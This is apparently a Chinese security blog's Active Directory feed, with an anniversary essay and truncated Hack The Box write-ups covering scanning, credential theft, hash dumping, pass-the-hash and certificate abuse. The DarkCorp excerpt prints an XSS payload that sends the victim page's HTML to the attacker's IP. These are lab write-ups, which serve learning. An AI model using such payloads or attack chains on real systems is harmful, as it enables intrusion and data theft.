BushSEC的被窝 - Active Directory攻防
type: channel
link: https://bushsec.cn/category/AD/
items: 一周年随笔 置顶
items: EscapeTwo：域环境逃逸与权限提升
items: Cicada：初学者的域环境渗透实战
items: DarkCorp：深入企业的域控攻防

一周年随笔 置顶
type: item
date: 2025-07-20T10:30:00+08:00
description: AI摘要：博客迎来一周年，作者回顾了这一年来的成长与收获。最初只是作为个人备忘录，后来演变成与世界的对话，记录技术、成长和生活。作者分享了实战笔记、命令解析、项目实践，感谢读者的陪伴，并表示会继续更新，记录学习和热爱。算算时间，本站也即将迎来其一周岁生日了，具体来说，现在，也就是本文的发布时间，距离它的生日还有十天左右的时间截止到目前，本站点总访问量已达到23524次一年前的今天，我在键盘前敲下了第一篇文章。没有想着它会被谁看到，也没有想过能坚持多久。只是觉得，该给自己一个地方了，去记录、去分享。现在回头看，这一年，一点点地写下了自己的成长、学习、折腾，也把一路上的困惑与收获，一起摆到了台面上。这个地方，不大，却真诚。写博客，是一场与自己的对话起初写博客，其实是想给自己一个“备忘录”式的空间。学到了什么、踩了什么坑、配置失败了几次，写下来，至少不再忘记。但慢慢地，我发现它变了味——写着写着，不再是单向的存档，而变成了和这个世界的对话。有时候是一篇文章带来了远方读者的留言，有时候是别人遇到同样的问题来找我讨论。也有时候，深夜里写下一段技术分析时，我会突然想起自己刚接触网络安全那会儿的懵懂与热情。写博客，不只是为了记录技术，更是记录成长。写下的是命令、工具和漏洞细节，但藏着的是一次次尝试、放弃、再试和终于成功的过程。这一年，写过、学过、也很认真活过这一年，我做过很多尝试：用心整理了好几篇实战笔记，Web安全，进程注入等等写下了几十条命令、工具解析、CTF学习记录；这一年也折腾了不少项目：杀软识别网站、CVE 监控平台、威胁情报平台……虽然它们不复杂，但每次搭完上线，看到有人用、有人点了 Star，都会觉得特别值得。如今，我已将这三个项目统一集成到博客的「安全服务」页面，方便集中展示与访问。它们串联起来，拼出了我一年里的模样。不完美，但继续走这一年里，我也拖更过，也卡过，也写到一半觉得写不下去了。不是为了谁，也不是要成为技术大牛，就是不想白走一遭。有时候我翻回自己3个月前写的东西，会觉得“当时还真是不会啊”，但这不就是成长吗？回忆想起刚刚接触网安的时候应该是在初中，当时的我比较叛逆吧，也是在那个时候，搓出了人生中第一个所谓的木马-键盘记录器，用于盗取被父母换过密码我原本笔记本电脑的密码（逃我的老师人的一生总会遇到几位恩师吧，总是会让我有意无意的想起之前的老师小学的教导主任兼数学老师鲁老师初中班主任兼语文老师谭老师这几位老师给我的印象，也都非常不错小学比较叛逆吧，也算是鲁老师给我打服的哈哈初中是一个转折点，初中的我相较于小学更加叛逆（逃），但谭老师是我见过最负责最好的一位老师，既是恩师亦是益友，即能为我指出错误也会与我进行谈心，是叛逆的我和父母的沟通桥梁，是我们班最有威信的老师，我们班的同学都对她心服口服，在我们班包括整个学校风评最好，没有之一，是我在叛逆期中唯一信服的人，也是最令我敬佩的一位老师。谢谢这一路有人相伴我知道，很多时候写博客是一件孤独的事。尤其是写技术类的内容，不是所有人都感兴趣，也不是每篇都能被看到。但即便如此，我还是很幸运。因为这一年里，我遇到了很多温暖的人谢谢你们，谢谢还在阅读这些文字的你。是你们，让这个小站从“一个人的记事本”变成了“有人在看的地方”。写给现在的自己，也写给未来现在的我，依然会担心写得不够好，会犹豫要不要发布某些文字。但我开始相信，真实和热爱，终究会被理解。“慢慢理解世界，慢慢更新自己。”一年了，还不算长，但已经很好。感谢自己没有中途放弃，感谢朋友们始终相伴，感谢还有人在点进来读这些字。🎂 Happy 1st Anniversary to This Blog不知未来会如何，但我知道，只要我还在学习、在热爱，这个博客就还会继续更新。日更也好，月更也罢，只要是出于喜欢，那就值得。不是所有文字都为别人写，有些，是写给时间里的自己。一年很短，一年很长。感谢你走过来，也感谢我自己没放弃。下一个周年，咱们不见不散。愿我们心中的赤诚永不熄灭。—— BushSEC2025-07-20

EscapeTwo：域环境逃逸与权限提升
type: item
date: 2025-07-28T22:45:00+08:00
description: AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-2…

Cicada：初学者的域环境渗透实战
type: item
date: 2025-07-27T14:41:00+08:00
description: AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Def…

DarkCorp：深入企业的域控攻防
type: item
date: 2025-07-22T22:44:00+08:00
description: AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo &content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D…